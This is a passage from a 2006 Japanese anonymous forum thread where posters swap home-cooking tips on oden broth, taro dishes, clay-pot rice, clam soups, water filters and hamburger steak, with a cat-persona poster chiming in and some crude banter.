今までお米を一つまみいれてやってたけど、これもいいかも

782 :陽気な名無しさん:2006/11/26(日) 22:15:09 ID:16NmJbz7
>>781
おでんにはどこの素を使ってる?

783 :陽気な名無しさん:2006/11/26(日) 22:22:14 ID:z69j8uUg
雨降りで寒いし、大根メインの鍋にしたの。
昆布出汁で、つくねとキノコと春雨を入れたわ。

784 :陽気な名無しさん:2006/11/26(日) 22:32:12 ID:H8Gd7Fo3
>>782
あたしは使うとしたらS&Bだわ
カレールーとかスパイス系もほとんどS&Bなの
でも今日は昆布を水に一日くらいつけてダシとっただけだわ
で、お酒とだしじょうゆで味を調えたの

785 :陽気な名無しさん:2006/11/26(日) 22:37:25 ID:16NmJbz7
>>784
エスビーってお味噌汁用の出汁って感じじゃない?

おいしいおでんって風味と香りがもっと豊かよね。
やっぱ自分で出汁取らなきゃダメかしら。

786 :陽気な名無しさん:2006/11/26(日) 22:41:55 ID:H8Gd7Fo3
でもおでんって練り物からでるダシも重要だから・・・
そういえば、ダシ用と割り切って練り物を刻んじゃうっていうのも手らしいわ
刻むとダシがでやすくなるんですって

787 :陽気な名無しさん:2006/11/26(日) 22:50:57 ID:Thtu7hI6
給食のおばさんってすごいわよね
味付けも豪快だわ

http://p.pita.st/?iv06vw5b

788 :陽気な名無しさん:2006/11/26(日) 23:03:02 ID:16NmJbz7
>>786
そうなの?

私、練り物ってあんまり好きじゃないのよね〜。

789 :陽気な名無しさん:2006/11/26(日) 23:41:52 ID:rA2mJ8ff
おでんの場合やっぱり昆布ダシ取って鰹は即席の使って日本酒と醤油と
俺は少し甘み入れるので三温糖使って味付けしちゃいます。

やっぱり練り物で味出すことあるけど牛スジとタコがいい味出してると思う。

790 :陽気な名無しさん:2006/11/26(日) 23:55:23 ID:eNLkGF9O
明治おでんの素じゃなくって?関東炊きのヤツ、関西風味もあるのかしら?

791 :陽気な名無しさん:2006/11/26(日) 23:56:29 ID:16NmJbz7
>明治おでんの素

初めて聞いたわ。

792 :陽気な名無しさん:2006/11/27(月) 00:26:56 ID:/Cv2Crfr
>>791
ttp://open.meiji.co.jp/foods/oden/

有名じゃない?

793 :陽気な名無しさん:2006/11/27(月) 02:49:24 ID:BmySxjcJ
見たことないわ。

794 :陽気な名無しさん:2006/11/27(月) 02:53:38 ID:58h7DT5e
今日はにゅうめんに柚を刻んで散らしたの。
ほんとに冬が来たって感じ。

795 :陽気な名無しさん:2006/11/27(月) 03:09:36 ID:11+gC9q1
にゅうめん美味しいわね。大好きよ。
おつゆはどうやって作ってるのかしら?

白菜や豚肉、もやしなんかで鍋をしたいけど
一人用の小さいのしか持ってないから溢れ返っちゃって困るわ。
3〜4人用のを買えばよかったわ…

796 :陽気な名無しさん:2006/11/27(月) 04:01:35 ID:HEspWy0f
私は鶏がらで中華風に作るわ。

797 :ないちん =^_^=:2006/11/27(月) 12:02:41 ID:jkJyCryu
ないちんは、
ねこだな。ねこは、気ままに鳴くな。
あっちでみゃう!
こっちでみゃう!だな。

みゃう。(あっちこっち)

798 :陽気な名無しさん:2006/11/27(月) 14:22:49 ID:4y7PBtXL
里芋がたくさんあって困るわ。
煮物とお味噌汁以外に使えるかしら?

799 :陽気な名無しさん:2006/11/27(月) 14:47:01 ID:nApVpY1y
>>798
ググってみたらこんなんあったよ。

ttp://cookpad.com/search/category/619/

800 :陽気な名無しさん:2006/11/27(月) 17:29:58 ID:x5UFS0NR
里芋を洋風で食べるなんて、おいしいそうね。

801 :陽気な名無しさん:2006/11/27(月) 17:42:15 ID:x5UFS0NR
にゅうめんって、ゆでた後の麺は冷水で洗うのかしら?

802 :陽気な名無しさん:2006/11/27(月) 18:24:01 ID:SzRzZQ+p
>>798
コロッケに、ジャガイモの代わりに使うと、モチモチした美味しいのができるわ。

803 :陽気な名無しさん:2006/11/27(月) 19:03:21 ID:XwgxXnsH
お好み焼きに混ぜるといいかも。炊き込みご飯の具にも素朴でよろしい味だわ。

804 :陽気な名無しさん:2006/11/27(月) 21:16:03 ID:Rh/54jiq
お好み焼き食べたいわ〜
一人で食べてもおいしくなさそうだけど。

805 :ないちん =^_^=:2006/11/27(月) 21:26:42 ID:PLSv2YLx
みゃーーーう!

806 :陽気な名無しさん:2006/11/27(月) 22:22:52 ID:Rh/54jiq
スマスマ見てるとなんか食べたくなっちゃう。

807 :陽気な名無しさん:2006/11/28(火) 02:47:38 ID:8k0gUK54
>>795
あてくしは適当。
お酒プラス「にんべんのつゆ」+水には頭が上がらないw
んじゃなきゃ前日に昆布を水に入れとく位。
それに「だしてんねん」とかのパックを入れるか、おかべやのだし(by通販生活)にお任せ。
だいたいのものは、生姜の搾り汁をじゅうじゅう入れると旨い雰囲気になるわ(笑)。

>>796
あら、ねえさん。
あてくしも最近見つけたヘイチンロウの鶏ガラスープが意外にヒット!

>>801
あてくしは洗いますわ。

808 :陽気な名無しさん:2006/11/28(火) 02:52:16 ID:8k0gUK54
>>798
めんどくさいから3度しか作ったことないけども。

1.ニンニクすりおろしとお味噌と日本酒を混ぜる
2.里イモをゆでる、あるいはチンする。
3.里イモにお味噌をからめ、フライパンで焼く。
油を使うかどうかはフライパンによりけり。
4.熱々の里イモをシソで挟む(巻く)。

これがけっこう美味しいの。お味噌が焦げ過ぎないようにしてね。

809 :陽気な名無しさん:2006/11/28(火) 04:34:59 ID:X/YgWP4w
>>807
あたしはユウキの鶏がらを使ってるわ。
テンメンジャンやトーバンジャンもそう。
無添加なのが安心できるわ。

810 :陽気な名無しさん:2006/11/28(火) 04:44:53 ID:X/YgWP4w
そういえばこの前、スーパーでゆず味噌を見つけたわ。
大根だけでなく、>>808みたいに里芋につけて焼いてもおいしそう。

811 :陽気な名無しさん:2006/11/28(火) 13:25:11 ID:Do6QIBT1
>>808
美味しそうね。

みたらし団子風に、甘辛にしてもよさそう。シソ、ゴマ、ユズといろいろトッピング。

812 :ないちん =^_^=:2006/11/28(火) 16:08:19 ID:1w+AtVtW
今日も、
カレーを食べるかもしれないな。晴れないので、憂鬱だな。
面倒なので、
レトルトだな。が、ご飯は土鍋で炊きたいな。

みゃう。(土鍋)

813 :陽気な名無しさん:2006/11/28(火) 19:44:44 ID:0FfaXewM
谷原と井川がやってるカップクリームシチュー、結構イケるわ!

814 :陽気な名無しさん:2006/11/29(水) 03:58:11 ID:fICoHDu6
塩味メインの野菜炒めを作る時は、どう味付けすればまとまるかしら?
あと、入れたら味が悪くなる野菜は何かしら。
とろみのある、おいし〜い野菜炒めをつくってみたいわ。

815 :陽気な名無しさん:2006/11/29(水) 04:12:27 ID:tOuRY7pp
とろみがあったら野菜炒めとは違う。

816 :陽気な名無しさん:2006/11/29(水) 04:28:44 ID:fICoHDu6
はいはい、解りました。
じゃあ結構よ。

817 :陽気な名無しさん:2006/11/29(水) 04:38:28 ID:mKlPL6jZ
イカ、ピーマン、キクラゲ、ニラ、ネギ、ニンジン、キャベツか白菜あたりで
ジャッジャーっとある程度炒めて、まだ野菜の生っぽさが残るところで
軽く塩したら(好みで胡椒も)お酒を多めにふってシンナリさせて、
水とき片栗粉でまとめたらどうかしら?

これならタンメンの上にのせても、ご飯のおかずでもいけると思うんだけど。
そんな基本ちっくな事は求めてなかったらゴメンナサイ。


818 :陽気な名無しさん:2006/11/29(水) 04:53:48 ID:fICoHDu6
読んでるだけで、お腹が空いて来たわ〜。
さっそく今度試してみるわね。
どうも有難う。

819 :陽気な名無しさん:2006/11/29(水) 06:15:12 ID:rhaWEXbd
このスレにいらっしゃるお姐さま方は
水やお茶、味噌汁なんかはどうされてるのかしら?

820 :陽気な名無しさん:2006/11/29(水) 07:06:15 ID:0GYdcP+v
あたしは、飲み水やご飯味噌汁に使う水は、ブリタのフィルターで浄水したものを使っています。
パスタみたいに茹でた後捨てちゃう水は、まだ水道水使ってます。 なんかもったいないから。
でも、あたしは鈍いので、お茶やご飯の味が違うかどうかよくわかりません。
でも、水をそのまま飲むと、フィルターの水の方が断然美味しいです。

821 :ないちん =^_^=:2006/11/29(水) 11:57:25 ID:kOIWe+uU
今日は天気がいいな。ないちんは、
ねこだな。ねこは、こんな日は、日向ぼっこをするのだな。

みゃう。(ひなたぼっこ)

822 :陽気な名無しさん:2006/11/29(水) 14:53:26 ID:0Z8Tvhj+
なんというシメジ・・・
この鍋を見ただけで明日の晩飯が決まってしまった
明日の晩飯は間違いなく水炊き

  (^o^(^o^)^o^)
   (^o^/ l o^) l
    (_(_ノ_ノノ_ノ

823 :陽気な名無しさん:2006/11/29(水) 15:33:15 ID:B91O2kbP
今まで鶏肉買う時は「地鶏」と書いてあるのを選んでたのよ。
風味が良さそうとか、おいしいそうとか健康そうなイメージで。
でも、地鶏の風味ってエサの「ミミズ」の風味らしいのよ。
もう、それ以来、地鶏はダメ。知らなきゃ良かったワ。

824 :陽気な名無しさん:2006/11/29(水) 15:43:08 ID:bbmG3p/1
>>823
姐さん野菜作る時だって昔は肥だめや
今は鶏糞や牛糞とかウムコ撒いてんだから
ミミズの方がマシでしょ

825 :陽気な名無しさん:2006/11/29(水) 18:43:31 ID:Ic5hEGoA
>>819
うちは都内だけど、半分が地下水だからそのままでも大丈夫よ。
喉が渇いたら、水道水をお湯を沸かしてプーアル茶を飲むわ。

水の違いで料理の味の違いが分かる人ってすごいわよね。
飲んだとき、柔らかいかどうかくらいしか分からないわ。

826 :陽気な名無しさん:2006/11/29(水) 20:58:38 ID:CQTazHnm
>>823
インドネシアの津波の後は魚介類が脂が乗っておいしくなったと思うわ。
食物連鎖ってそんなものよ。あんたが食べないのは勝手だけど
おいしけりゃいいじゃないの

827 :陽気な名無しさん:2006/11/29(水) 22:38:05 ID:umTHo6gX
とりあえず浄水器を通した水を使ってるわ
匂いもとれるし
都内だけど

828 :陽気な名無しさん:2006/11/29(水) 23:27:54 ID:z7FHIcK6
健康料理な流れ?
とりあえず、サラダ油をバター代わり炊飯器をオーブン代わりにしてケーキを焼いた。
風味が足りないがなかなかうまかった。
ケーキも焼きたてがうまい気がする

829 :陽気な名無しさん:2006/11/29(水) 23:29:43 ID:0sd2Drdn
>>826
ちょっと!
グロいこといわないでよ!

830 :陽気な名無しさん:2006/11/29(水) 23:30:27 ID:i1XzYvdG
>>825
> うちは都内だけど、半分が地下水だからそのままでも大丈夫よ。

どういう意味?
何の半分?

831 :ないちん =^_^=:2006/11/30(木) 00:38:40 ID:iUho+PCu
夜食のすれがと待っているな。ないちんの、すさまじい、
ねこぱんちが功を奏したのだな。w

みゃう!!(ねこぱんち)

>>830
西新宿だな。もともと、沼地だな。
淀橋浄水場があったな。水道水と井戸水を、
半々で使えるな。

が、
地盤が弱いな。きもぶたは、地震で生き埋めになるのだな。

みゃう。(生き埋め)

832 :ないちん =^_^=:2006/11/30(木) 00:40:01 ID:iUho+PCu
淀橋浄水場付近の沼地で、
戦に破れた、
大田道灌は、ねこの道案内で、逃げたな。

ないちんはねこだな。ねこは、ついつい、
道案内をしてしまうな。

みゃう。(道案内)

833 :ないちん =^_^=:2006/11/30(木) 00:43:54 ID:iUho+PCu
>>831
みゃう!!!(ねこぱんちの図)

┣¨┣¨┣¨┣¨┣¨┣¨┣¨┣¨┣¨┣¨┣¨┣¨
 ∧_∧
 (#゚Д゚)=つ≡つ  オラオラオラオラオラオラオラオラ!!!!!!!!!!
 (っ ≡つ=つ
 /   ) ババババ
 ( / ̄∪

┣¨┣¨┣¨┣¨┣¨┣¨┣¨┣¨┣¨┣¨┣¨┣¨

834 :陽気な名無しさん:2006/11/30(木) 00:48:38 ID:e9mu2xlY
>>830
ごめんなさい、水道水の半分よ。

835 :陽気な名無しさん:2006/11/30(木) 01:07:36 ID:23+BQRVy
水道水の半分が地下水ってどういう事?

836 :ないちん =^_^=:2006/11/30(木) 01:38:29 ID:iUho+PCu
みゃう。(淀橋浄水場)

837 :陽気な名無しさん:2006/11/30(木) 01:41:12 ID:jWed7xbG
>>835
井戸水なの。

838 :ないちん =^_^=:2006/11/30(木) 01:48:04 ID:iUho+PCu
井戸水と水道水を混ぜているのだな。みゃう.(ミックス)

839 :陽気な名無しさん:2006/11/30(木) 01:50:19 ID:moHiRPS+
(´・ω・`)

840 :陽気な名無しさん:2006/11/30(木) 02:08:28 ID:m9Y82nnQ
浄水器が故障したけど、直すの面倒臭くて、水道水をそのまま沸かしてお茶飲むわよ。
味噌汁もそのまま沸かすわ。

水だけ飲む時は抵抗あるわ。

841 :陽気な名無しさん:2006/11/30(木) 02:14:42 ID:D5pMcOVU
東京でも国立市とか日野市って地下水が豊富で
水道水が夏でも冷たくて結構美味しいわよ。
国分寺あたりもそうなんじゃないかしら?

842 :ないちん =^_^=:2006/11/30(木) 02:18:48 ID:iUho+PCu
みゃう。(玉川上水)

843 :陽気な名無しさん:2006/11/30(木) 02:23:28 ID:m9Y82nnQ
シッ!シッ!シッ!

844 :ないちん =^_^=:2006/11/30(木) 02:26:04 ID:iUho+PCu
ないちんはいま迷っているな。餌がもらえるような、
そんな予感がしてきたな。

みゃう。(予感)

845 :陽気な名無しさん:2006/11/30(木) 02:30:29 ID:lsdd13LW

>>760

846 :陽気な名無しさん:2006/11/30(木) 03:06:57 ID:Anp88qUv
うちはブリタ。
ポット、お味噌汁、お釜はブリタ。
あとはそれぞれ。ケチな気分だとパスタ茹でるのも水道水。
ご機嫌だったらブリタ水(笑)

お釜の水はブリタと水道水だと、ご飯の色が違ってびっくりよ!



847 :ないちん =^_^=:2006/11/30(木) 03:10:56 ID:iUho+PCu
みゃう!(びっくりよ!)

848 :陽気な名無しさん:2006/11/30(木) 03:33:52 ID:wzlIbZd7
野菜ブイヨン持ってる人いる?
コンソメとはどう違うのかしら?

849 :陽気な名無しさん:2006/11/30(木) 04:53:26 ID:23+BQRVy
>>837
だからさ、水道水の半分が井戸水ってどういうことなの?
蛇口をひねると、河川の水を浄水したものと地下水がミックスされたものが出て来るって事なの?

それとも利用している「水道」の半分(この表現もおかしいけど)が地下水ってこと?
つまり、蛇口をひねると河川の水を浄水したものが出るものと、
地下水が出るものの2種類を使用しているってことなの?

850 :陽気な名無しさん:2006/11/30(木) 05:02:34 ID:voFdRqko
>>849
アンタいい加減にしたら?

851 :陽気な名無しさん:2006/11/30(木) 05:13:31 ID:23+BQRVy
どうして?

852 :陽気な名無しさん:2006/11/30(木) 07:08:09 ID:23+BQRVy
普通水道っていうと、自治体が管理運営して一般家庭に供給しているもののことをさすのよね?
その水の事を水道水と呼ぶわけで、その半分が地下水だとか井戸水ってどういうことなの?

853 :ないちん =^_^=:2006/11/30(木) 12:25:47 ID:rX+gUAZH
ないちんのために、
争っているものがいるな。喧嘩はやめてほしいな。
2人を止めてほしいな。

みゃう。(けんか)

854 :陽気な名無しさん:2006/11/30(木) 12:37:12 ID:hTrhOuPJ
>>852
あたしも知りたいわ。
もしうちに井戸があるんなら、わざわざ水道水と混ぜて使うわけもないでしょうから、
どうやって地下水と水道水が半分づつになった物を手に入れるのかしら?

855 :陽気な名無しさん:2006/11/30(木) 12:54:34 ID:Fhuz8w8/
蛇口が二つあるのよきっと

856 :陽気な名無しさん:2006/11/30(木) 14:57:36 ID:6QXDduXh
>>853
さりげなくまりやw

857 :陽気な名無しさん:2006/11/30(木) 19:15:02 ID:0i8qghUi
なんか生理のオカマがいるようね。

急に寒くなってきたから、今日はシチューよ。
やっぱりルーは北海道クリームシチューね。

858 :ないちん =^_^=:2006/11/30(木) 20:47:08 ID:lQDXgb2I
料理のすれと夜食のすれが、
ぴったり同じ数字で伸びているな。

ないちんは、
居酒屋にいるな。山崎(10年)を飲んでいるな。これから、例の、
会館に行くな。

みゃう。(快感)

859 :陽気な名無しさん:2006/12/01(金) 05:37:50 ID:uJHnZLWx
ハマグリを鷄がらダシとバターと塩で味付けしたスープで煮て、刻んだニンニクと長ネギ入れて食べたわ。
ちょっと塩を入れすぎたけど美味かったわ。

今度は、酒蒸しと潮汁を作ってみるわ。

860 :陽気な名無しさん:2006/12/01(金) 08:13:05 ID:R9VYM5mo
ハマグリから良いスープができるのに、なんでそんなにごちゃごちゃ入れたのかしら?
鮮度が悪かったとか?

861 :陽気な名無しさん:2006/12/01(金) 08:52:39 ID:IrFFxXHQ
ハマグリと鶏ガラって合うのかしら?

862 :ないちん =^_^=:2006/12/01(金) 12:50:01 ID:ORZPIw/x
ないちんは、いま、
ドトールの新宿1丁目南店にいるな。例の快感で、
3発抜いてきたな。

みゃう。(散髪)

863 :陽気な名無しさん:2006/12/01(金) 13:02:40 ID:MAqKGU2K
>>861
合うよ。

864 :ないちん =^_^=:2006/12/01(金) 13:12:15 ID:ORZPIw/x
また、
くだらない言い争いが始まったな。ないちんは、
感知しないこととするな。

みゃう。(するー)

865 :ないちん =^_^=:2006/12/01(金) 15:08:39 ID:4j8sJJhf
伊勢丹のウラの、
スタバだな。そろそろ、帰宅するかもしれないな。今日は金曜日なので、
どこも混みすぎるから、だな。が、
もう少しまって1杯やりたい気もするな。

みゃう。(もう少し)

866 :陽気な名無しさん:2006/12/02(土) 00:25:16 ID:JOpAaMgs
アサリやハマグリの味噌汁ってホント風味豊かね
鰹節や昆布だしより貝のだしが一番好き
旨味が詰まって美味しいくてもうたまらない!

まさに「磯」を感じるわ

867 :陽気な名無しさん:2006/12/02(土) 03:36:08 ID:FHsdL05Z
ひな祭りなんかで出るお吸い物なんかも、薄いのに出しが出て深い味わい

でも、なぜか使いたくない

868 :陽気な名無しさん:2006/12/02(土) 06:27:51 ID:1cBINNy3
明日3日の「ソロモン流」は…?

平 野 レ ミ

869 :ないちん =^_^=:2006/12/02(土) 08:21:38 ID:1ze4iYwe
>>866
みゃう。.。o○



.。o○(へ)

870 :ないちん =^_^=:2006/12/02(土) 12:43:59 ID:Fh4nud/O
今日は、
ごはんかパスタかで、悩んでいるな。ディナーのことだな。

みゃう。(悩み)

871 :ないちん =^_^=:2006/12/02(土) 12:44:57 ID:Fh4nud/O
ないちんはねこだな。ねこは、
たんぱく質が必要だな。今日のたんぱく源も、何にしようかと、
思案中だな。

みゃう。(思案中)

872 :陽気な名無しさん:2006/12/02(土) 17:38:59 ID:JOpAaMgs
>>868
あたし平野レミはキャラ的に好きよ
でもあのおばさんお節介好きそうね

873 :陽気な名無しさん:2006/12/02(土) 20:08:46 ID:ljsJJ6qN
やだ、私生活を根掘り葉掘り聞いてきそう。

874 :陽気な名無しさん:2006/12/02(土) 22:10:00 ID:m+QTSoxo
>>866
アサリやシジミの味噌汁って、具がそれだけになっちゃう。
他に何を入れたらいいかしら?

875 :陽気な名無しさん:2006/12/02(土) 22:27:43 ID:M1X3fS6k
>>866
アサリ、シジミ、ハマグリは確かに良いダシが出るんだけど、
私、昔仕事の関係で東北地方に住んでたことがあったのね。
で、あっちの方ってホタテの稚貝(養殖で間引いた奴ね)が
ものすごく安く出回ることがあるんだけど、スーパーでそれを
見た時に「多分これも良いダシが...」って味噌汁にしてみたら
見事に何の味もしないの。ビックリ。
同じ貝でもダシが出ないのもあんのねーってひとつ利口になったわ。

>>874
せいぜい刻み葱くらいね。


876 :ないちん =^_^=:2006/12/02(土) 22:35:08 ID:I6PxSDt8
.。o○

877 :ないちん =^_^=:2006/12/02(土) 22:35:40 ID:I6PxSDt8
.。o○(へ)

ないちんはねこだな。ねこのへは、臭いな。

みゃう。(屁)

878 :陽気な名無しさん:2006/12/02(土) 23:19:29 ID:JOpAaMgs
>>875
たまにスーパーとかで汁物用のホタテ売ってるわよ

あとムール貝も好き

879 :陽気な名無しさん:2006/12/02(土) 23:29:45 ID:m+QTSoxo
ムール貝って高そうね。
スーパーじゃ見たことないわ。

880 :陽気な名無しさん:2006/12/03(日) 00:23:11 ID:D6ZpFH+V
ムール貝っぽぃのなら安いわよ

881 :陽気な名無しさん:2006/12/03(日) 00:59:38 ID:37YQWd8E
ムール貝は冷凍で1kg、1000円くらいの買って
ブイヤベースや鍋なんかによく使うわ。
でも食感はホタテやアサリの方が好きだわ。
あと、牡蛎も冷凍でどっさり買ってシチューやカレーなんかにも利用しているわ。
冷凍も使い方によっては美味しく食べられるし
経済的で保存も利くから     ってウチのフリーザーって一人暮らしなのに
軽く2週間は活きて行けるほど一杯だわ


882 :陽気な名無しさん:2006/12/03(日) 01:27:02 ID:5iY8+von
ムール貝ってなんだかグロいわ。

883 :陽気な名無しさん:2006/12/03(日) 01:37:12 ID:oN2H0vED
あたしアワビの方がマンコを彷彿してイヤよ

884 :陽気な名無しさん:2006/12/03(日) 01:45:23 ID:Ypup7DV3
あたしも今日はハマグリ買ったの。
土鍋にはくさいと豚バラを交互に重ねて一番上にハマグリをおく。
まわりに適当にハサミで切った昆布まいて、蓋してたく。
水は入れないのよ。白菜からでるわ。

出来上がったらポン酢で食べると、ひと鍋食べちゃえるわよ。

885 :陽気な名無しさん:2006/12/03(日) 01:56:53 ID:5iY8+von
>>883
あら、そのまま出すようなお店に行かなきゃいいじゃない。

886 :ないちん =^_^=:2006/12/03(日) 08:52:01 ID:/mqyG1ZL
>>884
ないちんは、ここのところ、
土鍋でご飯を炊いているな。なかなかうまく行かないな。
食える程度のものではあるな。芯があったりするな。

みゃう。(芯)

土鍋焼きカレーも作りたくなったな。面倒ではあるな。しかし、
洗い物が減るな。土鍋2個で、
調理も食事もやってしまうのだな。

みゃう。(荒いもの)

887 :陽気な名無しさん:2006/12/03(日) 13:51:06 ID:37YQWd8E
やだーぁ、土鍋にカレー臭が’染み付いて
他の料理の風味を台無しにしそうだわ
適当に生きてるオカマって気が回らないのね

>土鍋でご飯を炊いているな。なかなかうまく行かないな。
そんな程度の事ができないアンタはここに書き込む資格なしだわ。
ROMてなさい

888 :陽気な名無しさん:2006/12/03(日) 13:53:19 ID:hI+iY4HL
888番ダネ

889 :陽気な名無しさん:2006/12/03(日) 14:03:46 ID:Ihuca3Ym
ハンバーグがまずいんだけどこつある?
具とソース。

890 :陽気な名無しさん:2006/12/03(日) 14:07:03 ID:HFv3VJ2i
その、まずいハンバーグって
自分で作ったものなの?それとも出来合のものなの?

どっち?

891 :陽気な名無しさん:2006/12/03(日) 14:54:58 ID:5hPPZM6f
>>886
土鍋でご飯を炊くときは、お米をしっかり水に浸してから炊かなきゃよ。
寒いと1時間ぐらい浸すことになるから、お湯に浸すといいわ。30分で済むから。
火にかけて、吹きこぼれて来たら一度火を止めて落ち着かせるの。 2分ぐらいしたら、
再び火をつけて、弱火で、蓋の穴から吹きこぼれるのがなくなるまで炊くでしょ?
そのあと、湯気がポッポッて出始めたら後5分ぐらいそのまま弱火で続けて、最後に
ガーッて強火で10秒。火を止めたら、15分はしっかり蒸らして、
そしたらホクホクおいしいご飯の出来上がり。 ずっとキッチンで付きっきりじゃないとダメだけど、
ご飯炊いてる間におかずの下ごしらえして、蒸らす間に、おかずの調理をすると時間の無駄が省けるわ。

ないちんにレスしてひんしゅく買うかもしれないけど、あたしも土鍋派だから、
教えてあげたかったの。

892 :陽気な名無しさん:2006/12/03(日) 15:11:50 ID:+OmSxr76
ていうか、あぼーんになってるから、話が分からない。

893 :陽気な名無しさん:2006/12/03(日) 17:38:35 ID:JOqAP8Hh
>>889
というか、あなたがどう作ってるか分からないから書き様がないんだけど。
ハンバーグなんて、適当に作ってもそれなりになる代表格なのに。


894 :陽気な名無しさん:2006/12/03(日) 18:23:48 ID:KIb+gRqg
焼きすぎなんじゃない?
オーブンで焼いてから少し焦げ目をつけると良いって聞いた事あるけどね。

895 :陽気な名無しさん:2006/12/03(日) 18:28:37 ID:9ye4P9LT
お肉からたくさん油が出るから、焼くときの油はちょっぴりひくのがポイントよね。

896 :名無しでなんなのさ:2006/12/03(日) 18:39:45 ID:b01nozDQ
ハンバーグなんて作ったことあるの?妄想でしょう。。。

897 :陽気な名無しさん:2006/12/03(日) 18:43:02 ID:StRAMNAx
土鍋には臭い って何かと思ったわ

898 :陽気な名無しさん:2006/12/03(日) 19:32:56 ID:oN2H0vED
ハンバーグ食べたいけどあっさりと食べたい時は
大根おろしとポン酒ね

899 :陽気な名無しさん:2006/12/03(日) 19:39:08 ID:JOqAP8Hh
よくTVで満天星のオヤジが言ってるけど、赤ワインをほんの
ちょっと煮詰めてから市販のドミグラスソース加えて、
ハンバーグのソースのベースにするとそれっぽい味になるわ。

一回作ると余るので、冷凍して1回ごとに電子レンジで解凍しても
OKだし、オムライスのソースにも使えて重宝。

>>896
IDの最後が惜しいわ。もう一文字だったのにね。



900 :陽気な名無しさん:2006/12/03(日) 20:06:56 ID:hI+iY4HL
平野レミまで起きていられるかなぁ
ま、料理研究家といってもイロモノだからいいか

901 :陽気な名無しさん:2006/12/03(日) 21:26:03 ID:Ap0FFYoW
>>898
あたしもソースはおろしポン酢が好きだわ。
あとはソースとケチャップを混ぜたのとか。

902 :ないちん =^_^=:2006/12/03(日) 22:14:29 ID:UMmdvOmw
>>891
ないちんは、
玄米だな。だから、吹きこぼれることはないな。それから、
水漬け不要のヤマタネの発芽玄米でやっているな。
飽きたら止めたいな。

みゃう。(飽きっぽい)

903 :ないちん =^_^=:2006/12/03(日) 22:16:14 ID:UMmdvOmw
>>897
土鍋に込みハンバーグが食べたくなったな。
ドミグラスソースの豊かなこくが、
ふっくらとしたハンバーグになじんでうまそうだな。

みゃう。(土鍋煮込みハンバーグ)

904 :名無しでなんなのさ:2006/12/03(日) 22:18:39 ID:b01nozDQ
ミンチボールとどこが違うのヨン。

ワン。

905 :陽気な名無しさん:2006/12/03(日) 22:24:38 ID:myx5AnN+
あら、ホモ江だわ!

906 :ないちん =^_^=:2006/12/03(日) 22:48:04 ID:UMmdvOmw
>>904
みゃう!!

犬が来たようだ。しかし、結論が、
つまり括弧の中が、書かれていない。

わん。(結論)

907 :質問主:2006/12/03(日) 22:48:11 ID:Ihuca3Ym
合挽きにオールスパイスとナツメグと塩コショウ。
ありきたりな作り方だけど、微妙においしくない。
ハンバーグって作る人によって千差万別の全然違う食べ物になるので
コツを教えて欲しかった。
ソースはバターケチャップソースマヨショウユってところだけど
イマイチこくがなくてがっくり。
市販のデミグラスも使ってみたけど味がぼやけてるんだよね。

908 :ないちん =^_^=:2006/12/03(日) 22:49:11 ID:UMmdvOmw
>>904
確かに、
鍋にするには、
ドミグラスソースをスープで少し伸ばして、
ミートボール鍋にしたほうが良さそうだな。

みゃう。(良さそうだ)

909 :名無しでなんなのさ:2006/12/03(日) 22:51:08 ID:b01nozDQ
ダカラハンバーグの基本はブタミンチと牛ミンチをどれだけの
比率で混ぜるかがポイントなの。
作ったことないけど。。。

910 :ないちん =^_^=:2006/12/03(日) 22:51:11 ID:UMmdvOmw
>>907
料理天国が抜けているな。レトルト物でも、
料理天国を加えて鍋で加熱すれば、
うまくなるそうだな。

みゃう。(料理天国)

911 :ないちん =^_^=:2006/12/03(日) 22:52:34 ID:UMmdvOmw
>>909
たまねぎも抜けているようだな。ないちんはつなぎには是非、
オートミールも使いたいと思っているな。しかしこれらは、
少ししか加えることが出来ないな。

912 :ないちん =^_^=:2006/12/03(日) 22:53:21 ID:UMmdvOmw
みゃう。(少ししか)

913 :陽気な名無しさん:2006/12/03(日) 22:57:13 ID:FkQaX9TL
>バターケチャップソースマヨショウ
ひたすら不味そう

914 :ないちん =^_^=:2006/12/03(日) 22:58:00 ID:UMmdvOmw
みゃう。(冷やかしが入った)

915 :陽気な名無しさん:2006/12/03(日) 22:58:06 ID:NlGIenpu
>>907
みじん切りして炒めた玉ねぎ、つなぎのパン粉、卵黄が入ってないわ。
あと、悪いけどそのソースはとってもマズそうだわ。

基礎もろくにできてないのに、自己流でやってみましたって感じね。
ちょっとお勉強不足なんじゃないかしら。

916 :ないちん =^_^=:2006/12/03(日) 23:00:14 ID:UMmdvOmw
>>915
パン粉の代わりに、
オートミールを使うわけだな。その他、
増量剤の類も凝った食材店に行けば売っているな。しかし、
ハンバーグは手がかかるな。やはりないちんは、
レディス4セレクションの冷凍、
小川軒ハンバーグだな。

みゃう。(小川軒)

917 :ないちん =^_^=:2006/12/03(日) 23:00:56 ID:UMmdvOmw
>>915
冷笑的なレスだな。冷酷さが伝わってくるな。しなだれだな。

みゃう。(しなだれ)

918 :ないちん =^_^=:2006/12/03(日) 23:01:40 ID:UMmdvOmw
そろそろ、
すれがなくなってきたな。新すれを立てなければ、ならないな。

919 :ないちん =^_^=:2006/12/03(日) 23:11:52 ID:UMmdvOmw
すれがなくなる前に、いまひとつ、
盛り上げて欲しいものだな。

みゃう。(いまひとつ)

920 :陽気な名無しさん:2006/12/03(日) 23:11:59 ID:Zg8X8HKp
ないちん =^_^= って、不必要だと思ったわ。

921 :ないちん =^_^=:2006/12/03(日) 23:15:20 ID:UMmdvOmw
いまのところ姉妹すれがこれしか、

ひとり飲み会・3次会
http://love3.2ch.net/test/read.cgi/gaysaloon/1137072960/

ないな。しかもそんなに伸びていないな。

こちらは、

さて、と。お夜食タイムだわ♪ 2食目よ!
http://love3.2ch.net/test/read.cgi/gaysaloon/1159707021/

同時終了しそうな勢いだな。1本化しても良いな。

みゃう。(1本化)

922 :陽気な名無しさん:2006/12/03(日) 23:15:53 ID:JOqAP8Hh
そういや、さっきTVで平野レミ観てたら「ノエルバーグ」とかいう
フライパン一杯のでかいハンバーグ焼いて、
ケチャップ+ウスターソース+コーヒークリームを混ぜてソースにして
クレソンに金箔つけて何本もブッ刺してたけど、ひたすら不味そうだったな。


923 :陽気な名無しさん:2006/12/03(日) 23:16:57 ID:FkQaX9TL
しなだれって何?

924 :ないちん =^_^=:2006/12/03(日) 23:19:21 ID:UMmdvOmw
>>923
そのうち本人が来るな。ここでも匿名で、
書き込んでいるらしいな。

みゃう。(名無し)

925 :ないちん =^_^=:2006/12/03(日) 23:21:53 ID:UMmdvOmw
てんぷれ候補をそろそろ挙げてほしいな。

みゃう。(てんぷれ)

926 :陽気な名無しさん:2006/12/03(日) 23:22:46 ID:ZBNxK2yv
>>907
